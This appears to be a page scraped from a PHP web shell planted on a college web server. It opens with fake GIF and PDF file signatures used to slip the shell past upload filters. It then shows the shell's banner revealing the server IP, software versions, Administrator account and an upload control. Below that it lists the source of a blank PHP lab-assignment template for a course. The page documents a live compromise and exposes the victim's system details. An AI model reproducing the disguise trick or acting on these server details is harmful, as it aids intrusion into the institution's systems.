GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1146/Labs/Labnn/ |
Upload File : |
<? // JimMartinson/CST1146/Labs/Labnn/Labnn.phpinc #if ( $_SESSION['userId'] == 1 ) $showEvaluationVariables = true; require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_END.phpinc'); exit; } include('common/Browser/Browser.phpinc'); $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. // NOTE: Disable Include conf/extra/httpd-autoindex.conf line in the httpd.conf file before labs. // OR: Fix labs so Lab 4 mod_autoindex works as it should. ?> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend> The purpose of this lab is to demonstrate the use of php ___. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Instruction</legend> <ol class="count"> <!-- 1 --> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory. We will use it for all work performed in this lab.</li> <!-- 2 --> <li>Create a PHP file called <b class="copyText"><?=$saveFilename?>.php</b> in the <b><?=$evaluationName?></b> directory and open it in an editor. <br>All code below will be written into this file. <br>Create a stub file with the <span class="php">$labNumber</span>, <span class="php">$myName</span>, <span class="html">!DOCTYPE</span>, <span class="html">html</span>, <span class="html">head</span>, <span class="html">title</span>, <span class="html">meta charset</span>, and <span class="html">body</span>, and <span class="html">h1</span> variables, elements, and tags. <span class="note"><a href="#notes">See notes</a>.</span> </li> <!-- 3 --> <li>Demonstrate the use __3__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__3__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 4 --> <li>Demonstrate the use __4__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__4__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 5 --> <li>Demonstrate the use __5__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__5__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 6 --> <li>Demonstrate the use __6__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__6__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 7 --> <li>Demonstrate the use __7__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__7__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 8 --> <li>Demonstrate the use __8__: <ol> <li>Add an <span class="html">h2</span> heading with the content: <span class="html copyText">__8__</span>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> <li>.</li> </ol> <span class="note">Add text to describe what is being displayed and on separate lines. Display all values using the php var_dump() function.</span> </li> <!-- 9 --> <li>Verify that your page works. <ol type="i"> <li>Start Apache if it is not running.</li> <li>Open up a browser.</li> <li>In the address bar enter <b class="copyText">http://localhost/CST1146/<?=$evaluationName?>/</b> and hit enter.</li> <li>Click on your <b><?=$saveFilename?>.php</b> file. <br>You should see a page like:<br> <? BrowserBegin('Lab '.$evaluationNumber.' - '.$userFullName,'http://localhost/CST1146/'.$saveFilename.'.php',820); ?> <h1 class="left">Lab <?=$evaluationNumber?> - <?=$userFullName?></h1> <h2>__3__</h2> <?php ?> <h2>__4__</h2> <?php ?> <h2>__5__</h2> <?php ?> <h2>__6__</h2> <?php ?> <h2>__7__</h2> <?php ?> <h2>__8__</h2> <?php ?> <? BrowserEnd(); ?> If this is not what you see then you have errors in your code. </li> <li><b class="info">Take a screenshot of the page</b> and save the image as <b class="copyText"><?=$saveFilename?>.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory. <br>Make sure that the address bar is visible in your browser before saving the image. </li> </ol> </li> <!-- 10 --> <li>Turn in your assignment: <ol> <li>Ensure the following files are in your <b><?=$evaluationName?></b> folder. <br><?=$saveFilename?>.php <br><?=$saveFilename?>.png </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('../LabNotes.phpinc'); require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. ?>